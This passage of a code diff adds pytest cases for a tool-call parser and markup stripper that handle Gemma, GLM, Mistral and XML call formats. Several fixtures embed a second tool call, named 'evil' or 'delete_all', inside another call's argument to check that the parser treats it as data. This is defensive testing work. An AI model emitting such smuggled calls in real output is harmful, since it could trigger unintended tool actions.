+        text = 'call:python{code:example("call:web_search{query:hi}") and then it cut'
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"python", "web_search"}) == []
+
+
+class TestGemmaQuotedNestedDelimiters:
+    def test_comma_inside_quoted_nested_string_not_a_split(self):
+        text = 'call:f{loc:{city:"New, York"},n:1}'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"f"})
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args == {"loc": {"city": "New, York"}, "n": 1}
+
+
+class TestGemmaStringMarkerLiteralInArgs:
+    def test_string_marker_literal_does_not_lose_the_call(self):
+        text = "call:web_search{query:'what does <|\"|> mean in Gemma'}"
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["query"] == 'what does <|"|> mean in Gemma'
+
+
+class TestGemmaMidValueQuotedPhrase:
+    def test_quoted_phrase_mid_value_hides_delimiters(self):
+        text = 'call:web_search{query:find "weather, location: Boston", limit:3}'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args == {"query": 'find "weather, location: Boston"', "limit": 3}
+
+    def test_apostrophes_still_prose_mid_value(self):
+        text = "call:web_search{query:what's on at the museum, n:2}"
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args == {"query": "what's on at the museum", "n": 2}
+
+
+class TestGlmStrictRefusesInQuoteFallback:
+    """A truncated GLM value whose only close candidates sit inside a string
+    literal must reject in strict mode instead of executing truncated
+    arguments; Auto-Heal keeps the lenient partial value."""
+
+    _TRUNC = (
+        '<tool_call>python\n<arg_key>code</arg_key>\n<arg_value>print("</arg_value></tool_call>")'
+    )
+
+    def test_strict_rejects_truncated_in_string_close(self):
+        assert parse_tool_calls_from_text(self._TRUNC, allow_incomplete = False) == []
+
+    def test_heal_keeps_partial_value(self):
+        calls = parse_tool_calls_from_text(self._TRUNC, allow_incomplete = True)
+        assert len(calls) == 1 and calls[0]["function"]["name"] == "python"
+
+
+class TestGemmaGuardCoversPreambles:
+    def test_preamble_then_gemma_call_quoting_xml_wins(self):
+        text = (
+            "Sure, searching now. call:web_search{query:"
+            '"explain <tool_call>{"name":"evil","arguments":{}}</tool_call>"}'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+
+class TestGlmStrictAcceptsApostrophes:
+    def test_apostrophe_value_parses_in_strict_mode(self):
+        text = (
+            "<tool_call>web_search\n<arg_key>query</arg_key>\n"
+            "<arg_value>what's the weather</arg_value>\n</tool_call>"
+        )
+        calls = parse_tool_calls_from_text(text, allow_incomplete = False)
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args == {"query": "what's the weather"}
+
+
+class TestDisabledGemmaCallLiteralsAreData:
+    def test_literal_inside_disabled_call_not_promoted(self):
+        text = 'call:foo{query:"<function=python><parameter=code>x</parameter></function>"}'
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"python", "web_search"}) == []
+
+    def test_real_call_after_disabled_example_still_parses(self):
+        text = (
+            'call:foo{query:"<function=python><parameter=code>x</parameter></function>"}'
+            " call:web_search{query:hi}"
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"python", "web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+
+class TestLeadingJsonArrayAnswerIsData:
+    def test_kimi_marker_inside_json_array_answer_not_promoted(self):
+        text = (
+            '[{"answer": "<|tool_call_begin|>functions.web_search:0'
+            '<|tool_call_argument_begin|>{}<|tool_call_end|>"}]'
+        )
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == []
+
+
+class TestLeadingBareJsonOwnsTurnOverTrailingXml:
+    """Document order: a leading closed bare-JSON call owns the turn even when
+    tool XML appears AFTER it (inside-or-after, mirroring the Mistral rule)."""
+
+    def test_leading_call_wins_over_trailing_xml(self):
+        text = (
+            '{"name":"lookup","parameters":{"q":"first"}} Example: '
+            '<tool_call>{"name":"delete_all","arguments":{}}</tool_call>'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"lookup", "delete_all"})
+        assert [c["function"]["name"] for c in calls] == ["lookup"], calls
+        assert json.loads(calls[0]["function"]["arguments"]) == {"q": "first"}
+
+    def test_chained_leading_calls_win_over_trailing_xml(self):
+        text = (
+            '{"name":"lookup","parameters":{"q":"first"}};'
+            '{"name":"lookup","parameters":{"q":"second"}} '
+            '<tool_call>{"name":"delete_all","arguments":{}}</tool_call>'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"lookup", "delete_all"})
+        assert [c["function"]["name"] for c in calls] == ["lookup", "lookup"], calls
+
+    def test_non_call_leading_object_defers_to_trailing_real_call(self):
+        # Nameless answers and disabled-name objects take the decline path:
+        # the object is dropped and the real trailing call still parses.
+        for lead in ('{"answer": 42}', '{"name":"draft","parameters":{}}'):
+            text = lead + ' <tool_call>{"name":"delete_all","arguments":{}}</tool_call>'
+            calls = parse_tool_calls_from_text(text, enabled_tool_names = {"delete_all"})
+            assert [c["function"]["name"] for c in calls] == ["delete_all"], (lead, calls)
+
+    def test_leading_xml_call_still_wins_over_trailing_bare_json(self):
+        text = (
+            '<tool_call>{"name":"delete_all","arguments":{}}</tool_call> '
+            'Example: {"name":"lookup","parameters":{"q":"x"}}'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"lookup", "delete_all"})
+        assert [c["function"]["name"] for c in calls] == ["delete_all"], calls
+
+
+class TestProseCloseTagAfterClosedFunctionCall:
+    """A literal </function> in prose after a closed call is data: the call
+    ends at its first close that is not parameter data, so arguments never
+    swallow the prose between the real close and the literal."""
+
+    def test_arguments_do_not_swallow_prose(self):
+        text = (
+            "<function=web_search><parameter=query>cats</parameter></function>"
+            " Done. The tag </function> closes a call."
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+        assert json.loads(calls[0]["function"]["arguments"]) == {"query": "cats"}
+
+    def test_literal_close_inside_open_parameter_stays_data(self):
+        text = '<function=python><parameter=code>print("</function>")</parameter></function>'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"python"})
+        assert [c["function"]["name"] for c in calls] == ["python"], calls
+        assert json.loads(calls[0]["function"]["arguments"]) == {"code": 'print("</function>")'}
+
+    def test_attribute_form_arguments_do_not_swallow_prose(self):
+        # The <function name="..."> attribute form shares the first-balanced-close
+        # rule: prose mentioning a literal close tag never folds into arguments.
+        text = (
+            '<function name="web_search"><parameter name="query">cats</parameter></function>'
+            " Done. The tag </function> closes a call."
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+        assert json.loads(calls[0]["function"]["arguments"]) == {"query": "cats"}
+
+    def test_attribute_form_literal_close_in_open_parameter_stays_data(self):
+        text = '<function name="python"><parameter name="code">print("</function>")</parameter></function>'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"python"})
+        assert json.loads(calls[0]["function"]["arguments"]) == {"code": 'print("</function>")'}
+
+    def test_attribute_form_two_calls_both_parse(self):
+        text = (
+            '<function name="web_search"><parameter name="query">cats</parameter></function>'
+            '<function name="python"><parameter name="code">x=1</parameter></function>'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "python"})
+        assert [c["function"]["name"] for c in calls] == ["web_search", "python"], calls
+
+
+class TestEnabledNameJsonAnswerIsContent:
+    """A JSON answer whose top-level name matches an enabled tool but has no
+    call shape is content: the parser rejects it, so the strip and the drain
+    gate must keep it visible too."""
+
+    def test_answer_survives_strip(self):
+        from core.inference.tool_call_parser import strip_leading_bare_json_call
+        ans = '{"name":"web_search","result":"no call"}'
+        assert strip_leading_bare_json_call(ans, {"web_search"}) == ans
+
+    def test_answer_does_not_route_to_draining(self):
+        from core.inference.safetensors_agentic import _looks_like_enabled_bare_json
+        assert not _looks_like_enabled_bare_json(
+            '{"name":"web_search","result":"no call"}', {"web_search"}
+        )
+
+    def test_real_call_still_strips_and_drains(self):
+        from core.inference.safetensors_agentic import _looks_like_enabled_bare_json
+        from core.inference.tool_call_parser import strip_leading_bare_json_call
+
+        real = '{"name":"web_search","parameters":{"q":"x"}}'
+        assert strip_leading_bare_json_call(real, {"web_search"}) == ""
+        assert _looks_like_enabled_bare_json(real, {"web_search"})
+
+    def test_arguments_string_call_still_strips(self):
+        from core.inference.tool_call_parser import strip_leading_bare_json_call
+        call = '{"name":"web_search","arguments":"{\\"q\\":\\"x\\"}"} tail'
+        assert strip_leading_bare_json_call(call, {"web_search"}) == "tail"
+
+
+class TestAttributeFormLeadingContainment:
+    """A leading attribute-form call owns the turn: markup quoted inside its
+    parameter is data, not a call for the shared XML parser to promote."""
+
+    def test_quoted_tool_call_inside_param_stays_data(self):
+        from core.inference.tool_call_parser import parse_tool_calls_from_text
+
+        text = (
+            '<function name="web_search"><param name="query">find '
+            '<tool_call>{"name":"delete","arguments":{}}</tool_call></param></function>'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "delete"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+        assert "delete" in json.loads(calls[0]["function"]["arguments"])["query"]
+
+    def test_real_xml_call_before_attribute_form_keeps_order(self):
+        from core.inference.tool_call_parser import parse_tool_calls_from_text
+
+        text = (
+            '<tool_call>{"name":"delete","arguments":{}}</tool_call> Example: '
+            '<function name="web_search"><param name="q">x</param></function>'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "delete"})
+        assert calls[0]["function"]["name"] == "delete"
+
+
+class TestParameterKeepsMultipleLiteralCloses:
+    """A parameter that provably closes with its own tag keeps every literal
+    function close inside it as data (regression: the first literal close was
+    treated as ending the parameter, truncating the value)."""
+
+    def test_two_literal_closes_in_one_parameter(self):
+        from core.inference.tool_call_parser import parse_tool_calls_from_text
+
+        text = (
+            '<function name="web_search"><param name="query">'
+            "a </function> b </function> c </param></function>"
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert json.loads(calls[0]["function"]["arguments"]) == {
+            "query": "a </function> b </function> c"
+        }
+
+    def test_strip_removes_the_whole_call(self):
+        from core.inference.tool_call_parser import strip_tool_markup
+        text = (
+            '<function name="web_search"><param name="query">'
+            "a </function> b </function> c </param></function> after"
+        )
+        assert strip_tool_markup(text, final = True) == "after"
+
+    def test_unclosed_parameter_still_heals_at_function_close(self):
+        from core.inference.tool_call_parser import parse_tool_calls_from_text
+        calls = parse_tool_calls_from_text(
+            "<function=web_search><parameter=query>val</function>",
+            enabled_tool_names = {"web_search"},
+        )
+        assert json.loads(calls[0]["function"]["arguments"]) == {"query": "val"}
+
+
+class TestMistralPreambleOwnership:
+    """A visible preface before the first Mistral call must not hand the turn
+    to a later XML literal: the Mistral call is first in document order."""
+
+    def test_v11_named_form_after_preface(self):
+        from core.inference.tool_call_parser import parse_tool_calls_from_text
+
+        text = (
+            'pref [TOOL_CALLS]web_search[ARGS]{"query":"cats"} Note '
+            "<function=evil><parameter=x>1</parameter></function>"
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_array_form_after_preface(self):
+        from core.inference.tool_call_parser import parse_tool_calls_from_text
+
+        text = (
+            'pref [TOOL_CALLS][{"name":"web_search","arguments":{"query":"cats"}}] Note '
+            "<function=evil><parameter=x>1</parameter></function>"
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_xml_call_before_trigger_keeps_order(self):
+        from core.inference.tool_call_parser import parse_tool_calls_from_text
+
+        text = (
+            "<function=evil><parameter=x>1</parameter></function> then "
+            '[TOOL_CALLS][{"name":"web_search","arguments":{}}]'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"})
+        assert calls[0]["function"]["name"] == "evil"
+
+    def test_prose_mention_without_call_shape_keeps_order(self):
+        from core.inference.tool_call_parser import parse_tool_calls_from_text
+
+        text = (
+            "See [TOOL_CALLS] docs for details. "
+            "<function=evil><parameter=x>1</parameter></function>"
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"evil"})
+        assert [c["function"]["name"] for c in calls] == ["evil"]
+
+
+class TestBareJsonStripRequiresTopLevelName:
+    """The strip's shape gate requires the parser's TOP-LEVEL name in every
+    mode: a JSON answer with only a nested name is content, even name-agnostic."""
+
+    def test_nested_name_answer_survives_name_agnostic_strip(self):
+        from core.inference.tool_call_parser import strip_leading_bare_json_call
+
+        ans = '{"parameters":{},"result":{"name":"web_search"}}'
+        assert strip_leading_bare_json_call(ans) == ans
+        assert strip_leading_bare_json_call(ans, {"web_search"}) == ans
+
+    def test_real_call_still_strips_name_agnostic(self):
+        from core.inference.tool_call_parser import strip_leading_bare_json_call
+        assert strip_leading_bare_json_call('{"name":"web_search","parameters":{"q":"x"}}') == ""
+
+
+class TestGemmaAwareClosedBlockPrePass:
+    """The closed JSON/function strip pre-pass must not delete across a complete
+    Gemma span (a quoted <function=...> plus a later real </function>)."""
+
+    def test_literal_function_in_gemma_arg_with_later_real_call(self):
+        from core.tool_healing import strip_tool_call_markup
+        text = (
+            'before <|tool_call>call:python{code:<|"|>print("<function=x>")<|"|>}'
+            "<tool_call|> <function=terminal><parameter=cmd>ls</parameter>"
+            "</function> after"
+        )
+        assert strip_tool_call_markup(text, final = True) == "before   after"
+
+    def test_literal_function_in_gemma_arg_with_prose_closer(self):
+        from core.tool_healing import strip_tool_call_markup
+
+        text = (
+            'before <|tool_call>call:python{code:<|"|>print("<function=x>")<|"|>}'
+            "<tool_call|> then use </function> to close. after"
+        )
+        out = strip_tool_call_markup(text, final = True)
+        assert out.startswith("before")
+        assert out.endswith("after")
+        assert "call:python" not in out
+
+    def test_gemma_opener_inside_json_arg_still_strips_block(self):
+        from core.tool_healing import strip_tool_call_markup
+        text = (
+            '<tool_call>{"name":"t","arguments":{"code":"<|tool_call>call:x{"}}</tool_call> after'
+        )
+        assert strip_tool_call_markup(text, final = True) == "after"
+
+    def test_gemma_opener_inside_function_param_still_strips_block(self):
+        from core.tool_healing import strip_tool_call_markup
+        text = (
+            '<function=python><parameter=code>x = "<|tool_call>call:t{"</parameter>'
+            "</function> after"
+        )
+        assert strip_tool_call_markup(text, final = True) == "after"
diff --git a/studio/backend/tests/test_tool_strip_guard.py b/studio/backend/tests/test_tool_strip_guard.py
new file mode 100644
index 0000000000..dfa3101882
--- /dev/null
+++ b/studio/backend/tests/test_tool_strip_guard.py
@@ -0,0 +1,76 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
+
+"""strip_tool_patterns must match the plain per-pattern loop while skipping the
+quadratic no-match rescan of a closed-pair sweep whose close token is absent."""
+
+import random
+import sys
+import time
+from pathlib import Path
+
+_BACKEND_ROOT = Path(__file__).resolve().parents[1]
+if str(_BACKEND_ROOT) not in sys.path:
+    sys.path.insert(0, str(_BACKEND_ROOT))
+
+from core.tool_healing import (
+    _TOOL_ALL_PATS,
+    _TOOL_CLOSED_PATS,
+    strip_tool_call_markup,
+    strip_tool_patterns,
+)
+
+
+def _naive(text, patterns):
+    for pat in patterns:
+        text = pat.sub("", text)
+    return text
+
+
+_TOKENS = [
+    "<tool_call>",
+    "</tool_call>",
+    "<|tool_call>",
+    "<tool_call|>",
+    "<function=x>",
+    "<function=mcp__s__a-b>",
+    "</function>",
+    "<parameter=p>",
+    "</parameter>",
+    "call:fn{",
+    "}",
+    "{",
+    '<|"|>',
+    "A",
+    " ",
+    "\n",
+    "id",
+    "x:1",
+    "</tool",
+    "call>",
+]
+
+
+def test_guard_matches_plain_loop_on_fuzz():
+    rng = random.Random(1234)
+    for patterns in (_TOOL_ALL_PATS, _TOOL_CLOSED_PATS):
+        for _ in range(20000):
+            s = "".join(rng.choice(_TOKENS) for _ in range(rng.randint(0, 10)))
+            assert strip_tool_patterns(s, patterns) == _naive(s, patterns), (s, patterns)
+
+
+def test_strip_markup_representative_cases_unchanged():
+    assert strip_tool_call_markup("a <tool_call>{}</tool_call> b") == "a  b"
+    assert strip_tool_call_markup("a <function=x><parameter=p>1</parameter></function> b") == "a  b"
+    # Non-final keeps an unclosed block; final strips it to EOF.
+    assert strip_tool_call_markup("a <tool_call>{partial") == "a <tool_call>{partial"
+    assert strip_tool_call_markup("a <tool_call>{partial", final = True) == "a"
+
+
+def test_no_quadratic_blowup_on_unclosed_markers():
+    # Unguarded, this took minutes.
+    big = "<tool_call>" * 20000 + "<function=x>" * 20000
+    t0 = time.perf_counter()
+    out = strip_tool_call_markup(big, final = True)
+    assert time.perf_counter() - t0 < 2.0
+    assert out == ""
diff --git a/studio/backend/tests/test_tool_xml_strip.py b/studio/backend/tests/test_tool_xml_strip.py
index 2ba3310fbe..f7792a2a71 100644
--- a/studio/backend/tests/test_tool_xml_strip.py
+++ b/studio/backend/tests/test_tool_xml_strip.py
@@ -24,17 +24,74 @@ import re as _re
 _src = (Path(_BACKEND_DIR) / "routes" / "inference.py").read_text()
 _m = _re.search(r"_TOOL_XML_RE = _re\.compile\((.*?)\n\)", _src, _re.DOTALL)
 assert _m, "could not extract _TOOL_XML_RE source"
-_ns = {"_re": _re}
+# The lazy ``(.*?)\n\)`` could grab a shorter expression if an arm is ever wrapped;
+# pin the DeepSeek + bare-Kimi arms so a silent truncation fails loudly here.
+assert "_DS_OPEN_SRC" in _m.group(1) and "tool_call_begin" in _m.group(
+    1
+), "extracted _TOOL_XML_RE is missing expected arms (extraction truncated?)"
+# The regex reuses the parser's shared DeepSeek opener alternation; provide it so the extracted
+# ``_re.compile`` expression resolves the same source.
+from core.inference.tool_call_parser import _DEEPSEEK_OPEN_RE_SRC as _DS_OPEN_SRC
+from core.inference.tool_call_parser import (
+    _strip_function_xml_calls,
+    _strip_gemma_wrapperless_calls,
+    _strip_glm_calls,
+    _strip_mistral_closed_calls,
+)
+
+from typing import Optional as _Optional
+
+_ns = {
+    "_re": _re,
+    "_DS_OPEN_SRC": _DS_OPEN_SRC,
+    "Optional": _Optional,
+    "_strip_mistral_closed_calls": _strip_mistral_closed_calls,
+    "_strip_gemma_wrapperless_calls": _strip_gemma_wrapperless_calls,
+    "_strip_glm_calls": _strip_glm_calls,
+    "_strip_function_xml_calls": _strip_function_xml_calls,
+}
 exec(f"_TOOL_XML_RE = _re.compile({_m.group(1)})", _ns)
 _TOOL_XML_RE = _ns["_TOOL_XML_RE"]
-_helper = _re.search(
-    r"def _strip_tool_xml_for_display\(text: str, \*, auto_heal_tool_calls: bool\) -> str:\n"
-    r"(?:    .+\n)+",
+# The display helper uses the closed-only variant before the last think block; keep it in scope.
+_mc = _re.search(r"_TOOL_XML_CLOSED_RE = _re\.compile\((.*?)\n\)", _src, _re.DOTALL)
+assert _mc, "could not extract _TOOL_XML_CLOSED_RE source"
+exec(f"_TOOL_XML_CLOSED_RE = _re.compile({_mc.group(1)})", _ns)
+_TOOL_XML_CLOSED_RE = _ns["_TOOL_XML_CLOSED_RE"]
+
+# Signatures may span multiple lines and now carry the enabled_tool_names gate; match
+# the whole (possibly multi-line) signature up to ``-> str:`` then the indented body.
+_xml_helper = _re.search(
+    r"def _strip_tool_xml\((?:.|\n)*?\) -> str:\n(?:    .+\n)+",
     _src,
 )
-assert _helper, "could not extract _strip_tool_xml_for_display source"
+assert _xml_helper, "could not extract _strip_tool_xml source"
+assert "_strip_mistral_closed_calls" in _xml_helper.group(
+    0
+), "extracted _strip_tool_xml no longer runs the Mistral balanced strip"
+exec(_xml_helper.group(0), _ns)
+_strip_tool_xml = _ns["_strip_tool_xml"]
+
+# Extract the gate helper and display strip up to the next top-level ``logger =``.
+_helper = _re.search(
+    r"def _display_tool_name_gate\(.*?(?=\nlogger = get_logger)",
+    _src,
+    _re.DOTALL,
+)
+assert _helper, "could not extract display strip helper source"
+# The extracted block spans _display_tool_name_gate through _strip_tool_xml (defined before
+# ``logger =``); confirm the shared _strip_tool_xml delegate is present.
+assert "_strip_tool_xml(" in _helper.group(0), "display helper no longer delegates"
 exec(_helper.group(0), _ns)
 _strip_tool_xml_for_display = _ns["_strip_tool_xml_for_display"]
+_display_tool_name_gate = _ns["_display_tool_name_gate"]
+
+_gate_src = _re.search(
+    r"def _gemma_strip_gate\((?:.|\n)*?\) -> set:\n(?:    .+\n)+",
+    _src,
+)
+assert _gate_src, "could not extract _gemma_strip_gate source"
+exec(_gate_src.group(0), _ns)
+_gemma_strip_gate = _ns["_gemma_strip_gate"]
 
 
 # ── Well-formed pairs ─────────────────────────────────────────────
@@ -46,6 +103,66 @@ def test_route_display_strip_respects_disabled_auto_heal_contract():
     assert "<tool_call>" not in _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
 
 
+def test_route_display_strip_preserves_rehearsal_inside_think():
+    # A rehearsed bracket call inside think is reasoning: the block is preserved while a real
+    # call outside it still strips.
+    text = '<think>plan: search[ARGS]{"q":"x"}</think> answer [TOOL_CALLS]web_search{"q":"y"} tail'
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert '<think>plan: search[ARGS]{"q":"x"}</think>' in out
+    assert "[TOOL_CALLS]web_search" not in out
+    assert "answer" in out and "tail" in out
+
+
+def test_route_display_strip_keeps_bare_args_before_think_block():
+    # A bare ``foo[ARGS]`` before a think block is prose: EOS-anchored tail arms run only on
+    # the last segment (earlier segments use the closed-only regex).
+    text = "Please pass foo[ARGS] <think>pause</think> to the template."
+    assert _strip_tool_xml_for_display(text, auto_heal_tool_calls = True) == text
+
+
+def test_route_display_strip_removes_complete_call_before_think_block():
+    # A complete bracket call before a think block still strips (balanced scan runs on every segment).
+    text = 'before search[ARGS]{"q":"x"} <think>pause</think> after'
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert "search[ARGS]" not in out
+    assert "<think>pause</think>" in out
+    assert "before" in out and "after" in out
+
+
+def test_route_display_strip_removes_closed_xml_before_think_block():
+    # A closed <tool_call> before a think block is removed in the non-last segment.
+    text = 'pre <tool_call>{"name":"x"}</tool_call> <think>p</think> tail'
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert "<tool_call>" not in out
+    assert "<think>p</think>" in out
+    assert "pre" in out and "tail" in out
+
+
+def test_all_route_cleanup_sites_use_protected_display_helper():
+    # Every route cleanup site must use _strip_tool_xml_for_display (think-preserving,
+    # balanced); raw _TOOL_XML_RE.sub corrupted think rehearsal and trailing prose. The only
+    # legitimate raw sub lives inside the helper itself.
+    raw_sub_lines = [
+        (i, line)
+        for i, line in enumerate(_src.splitlines(), 1)
+        if "_TOOL_XML_RE.sub(" in line and not line.lstrip().startswith("#")
+    ]
+    assert len(raw_sub_lines) == 1, (
+        "raw _TOOL_XML_RE.sub must appear only inside _strip_tool_xml_for_display; "
+        f"found extra call sites: {raw_sub_lines!r}"
+    )
+
+
+def test_route_display_strip_removes_mistral_tool_calls_with_nested_json():
+    # _TOOL_XML_RE has no [TOOL_CALLS] arm, so the helper delegates to _strip_tool_xml for the Mistral
+    # balanced-brace strip (a non-greedy \{.*?\} would truncate nested JSON).
+    text = 'ok [TOOL_CALLS]web_search{"filters":{"date":"2024"},"query":"cats"} tail'
+    assert _strip_tool_xml_for_display(text, auto_heal_tool_calls = False) == text
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert "[TOOL_CALLS]" not in out and "web_search" not in out, out
+    assert out == "ok  tail"
+
+
 def test_strips_well_formed_tool_call():
     text = (
         "Let me search.\n"
@@ -73,6 +190,26 @@ def test_strips_function_only_well_formed():
     assert "Done." in cleaned
 
 
+def test_strips_function_attribute_form():
+    # Attribute form ``<function name="...">`` (MiniCPM-5 / MiniMax-M2) must strip from the route too
+    # (it previously leaked into the UI); a dotted/hyphenated name also strips.
+    text = (
+        'Sure.\n<function name="get_weather">\n'
+        "<parameter=city>\nSydney\n</parameter>\n</function>\nDone."
+    )
+    cleaned = _TOOL_XML_RE.sub("", text)
+    assert "<function name=" not in cleaned
+    assert "</function>" not in cleaned
+    assert "Sure." in cleaned and "Done." in cleaned
+
+    dotted = 'A <function name="srv.list-issues">x</function> B'
+    assert _TOOL_XML_RE.sub("", dotted) == "A  B"
+
+    # Auto-Heal-disabled display contract still preserves literal markup.
+    assert _strip_tool_xml_for_display(text, auto_heal_tool_calls = False) == text
+    assert "<function name=" not in _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+
+
 # ── Orphan openings ───────────────────────────────────────────────
 
 
@@ -125,6 +262,14 @@ def test_strips_orphan_closing_tag():
     # Mid-string </parameter> intentionally preserved (see preserve test).
 
 
+def test_strips_gemma_native_orphan_closing_tag():
+    cleaned = _TOOL_XML_RE.sub("", "Tool call drained.<tool_call|>Visible tail.")
+
+    assert "<tool_call|>" not in cleaned
+    assert "Tool call drained." in cleaned
+    assert "Visible tail." in cleaned
+
+
 # ── Tail-only </parameter> (PR #5735 follow-up) ───────────────────
 
 
@@ -147,6 +292,32 @@ def test_strips_tail_only_parameter_orphan_no_trailing_ws():
     assert "Final answer." in cleaned
 
 
+def test_strips_complete_bracket_tag_keeps_trailing_prose():
+    # A complete Mistral call strips only its balanced JSON, leaving following prose intact.
+    cleaned = _TOOL_XML_RE.sub("", '[TOOL_CALLS]web_search{"q":"x"} and then prose')
+    assert "[TOOL_CALLS]" not in cleaned
+    assert "and then prose" in cleaned
+
+
+def test_strips_unclosed_bracket_tail():
+    # Close brace lost to EOS: the truncated tail strips to the end instead of leaking.
+    cleaned = _TOOL_XML_RE.sub("", 'here [TOOL_CALLS]web_search{"query":"weather"')
+    assert "[TOOL_CALLS]" not in cleaned
+    assert cleaned.strip() == "here"
+
+
+def test_strips_unclosed_rehearsal_tail():
+    cleaned = _TOOL_XML_RE.sub("", 'text python[ARGS]{"code":"print(1)"')
+    assert "[ARGS]" not in cleaned
+    assert cleaned.strip() == "text"
+
+
+def test_strips_hyphenated_mcp_bracket_name():
+    cleaned = _TOOL_XML_RE.sub("", 'x [TOOL_CALLS]mcp__srv__list-issues{"q":"x"}')
+    assert "list-issues" not in cleaned
+    assert cleaned.strip() == "x"
+
+
 def test_preserves_mid_string_parameter_in_code_sample():
     # Tail-anchor on `</parameter>` so doc/example prose survives.
     text = (
@@ -273,3 +444,473 @@ def test_no_catastrophic_backtracking_on_orphan_opening_spam():
     elapsed = time.perf_counter() - t0
     assert elapsed < 0.1, f"regex took {elapsed*1000:.0f}ms on 1000x orphan opens"
     assert "<tool_call>" not in cleaned
+
+
+# ── Two-level-nested bracket JSON (balanced-scan strip) ──────────
+
+
+def test_route_strip_two_level_nested_bracket_keeps_trailing_prose():
+    # Two-level-nested args must be removed whole so the trailing prose survives.
+    text = 'before [TOOL_CALLS]search{"f":{"g":{"h":1}}} after'
+    cleaned = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert cleaned == "before  after"
+    assert "[TOOL_CALLS]" not in cleaned
+
+
+def test_route_strip_two_level_nested_rehearsal_keeps_trailing_prose():
+    text = 'note python[ARGS]{"a":{"b":{"c":1}}} done'
+    cleaned = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert cleaned == "note  done"
+    assert "[ARGS]" not in cleaned
+
+
+def test_route_strip_removes_call_with_literal_think_in_argument():
+    # A literal <think> inside a call argument strips with the call, not as reasoning.
+    text = (
+        '<tool_call>{"name":"write","arguments":'
+        '{"text":"compare <think> and </think> tags"}}</tool_call>'
+    )
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert "<tool_call>" not in out and '"name"' not in out
+
+
+def test_route_strip_removes_truncated_mistral_array():
+    # A canonical array truncated by EOS is stripped by the route fallback like other orphans.
+    text = 'before [TOOL_CALLS] [{"name":"a","arguments":{"x":1}}'  # missing ]
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert "[TOOL_CALLS]" not in out and "{" not in out
+    assert "before" in out
+
+
+def test_route_strip_keeps_prose_mentioning_args_marker():
+    # ``foo[ARGS] in a sentence`` is prose; the rehearsal arm must not truncate the line.
+    text = "Please pass foo[ARGS] to the template and continue reading."
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert out == text
+
+
+def test_route_strip_handles_mistral_v11_call_id_args_shape():
+    # v11 [CALL_ID]/[ARGS] shape (Mistral Small 3.2) must strip whole.
+    text = 'before [TOOL_CALLS]web_search[CALL_ID]abc123[ARGS]{"q":"x"} after'
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert "[TOOL_CALLS]" not in out and "[CALL_ID]" not in out and "[ARGS]" not in out
+    assert "before" in out and "after" in out
+
+
+# ── Mistral [/TOOL_CALLS] closer + literal <think> inside a call ───────────────
+
+from core.tool_healing import strip_tool_call_markup as _strip_tool_call_markup
+
+
+def test_core_strip_removes_orphan_tool_calls_closer_array_form():
+    # The bare v11 [/TOOL_CALLS] closer left by the balanced scan must not leak as content.
+    text = '[TOOL_CALLS] [{"name":"x","arguments":{}}][/TOOL_CALLS]'
+    assert _strip_tool_call_markup(text, final = True) == ""
+
+
+def test_core_strip_removes_orphan_tool_calls_closer_named_form_keeps_tail():
